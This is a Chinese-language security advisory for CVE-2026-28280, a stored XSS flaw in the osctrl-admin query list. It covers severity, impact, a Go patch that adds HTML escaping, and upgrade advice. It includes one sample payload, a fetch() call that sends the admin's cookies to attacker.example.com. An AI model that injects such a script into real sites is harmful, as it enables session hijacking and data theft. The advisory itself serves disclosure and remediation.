CVE-2026-28280:osctrl-admin 按需查询列表中的存储型跨站脚本(XSS)
发布: (2026年2月28日 GMT+8 10:40)
4 分钟阅读
原文: Dev.to
Source: Dev.to
漏洞概述
- 漏洞编号: CVE-2026-28280
- CWE 编号: CWE‑79(网页生成期间输入未正确中和)
- CVSS v3.1 基础评分: 6.1(中等)
- EPSS 评分: 0.00023
- 发布时间: 2026‑02‑28
- 攻击向量: 网络
在 osctrl‑admin 组件(osctrl 0.5.0 之前的版本)中存在存储型跨站脚本(XSS)漏洞。拥有低级 query 权限的已认证用户可以通过按需查询界面注入恶意 JavaScript。该负载会被存入后端数据库,并在管理仪表盘中渲染时未进行上下文感知的编码。当管理员查看查询历史时,脚本会执行,可能导致会话劫持或权限提升。
受影响版本
- osctrl‑admin: 允许注入 HTML 标签或其他可执行的 JavaScript 负载。
恶意负载示例
fetch('https://attacker.example.com/steal?c='+document.cookie)
如果将其保存为查询,负载会原样存储,随后在管理员浏览查询列表时在其浏览器中执行。
源码中的修复措施
修复引入了针对查询显示的上下文感知输出编码。修改的简化摘录如下:
// Before (vulnerable)
fmt.Fprintf(w, "%s", query.Text)
// After (patched)
escaped := html.EscapeString(query.Text) // proper HTML escaping
fmt.Fprintf(w, "%s", escaped)
影响
- 机密性: 高 – 攻击者可以窃取会话 Cookie 或其他敏感数据。
- 完整性: 高 – 攻击者可以操纵管理员界面或注入进一步的恶意内容。
- 可用性: 低 – 该漏洞不会直接影响服务的正常运行时间。
可利用性
- 利用状态: 已有概念验证(PoC)。
- 低权限已认证用户即可触发该漏洞,无需额外权限。
修复建议
- 升级至 osctrl v0.5.0 或更高版本。
- 拉取最新的 Docker 镜像或 osctrl v0.5.0 二进制文件,并重新部署
osctrl-admin服务。 - 通过尝试保存包含 HTML 标签的查询(例如
**test**)来验证修复效果。标签应以文字形式显示,而不是被解释为 HTML。
其他加固建议
- 对所有用户提供的数据进行 输入验证。
- 对在 HTML 环境中渲染的任何数据执行 输出编码。
- 遵循 最小权限原则:仅将
query权限授予真正需要的用户。
参考资料
- GitHub Advisory: GHSA‑4rv8‑5cmm‑2r22
- NVD 条目: 漏洞详情与分析(链接至 NVD)
- 厂商通告:(链接至厂商通告)
- CVE‑2026‑28280 完整报告(可在厂商网站获取)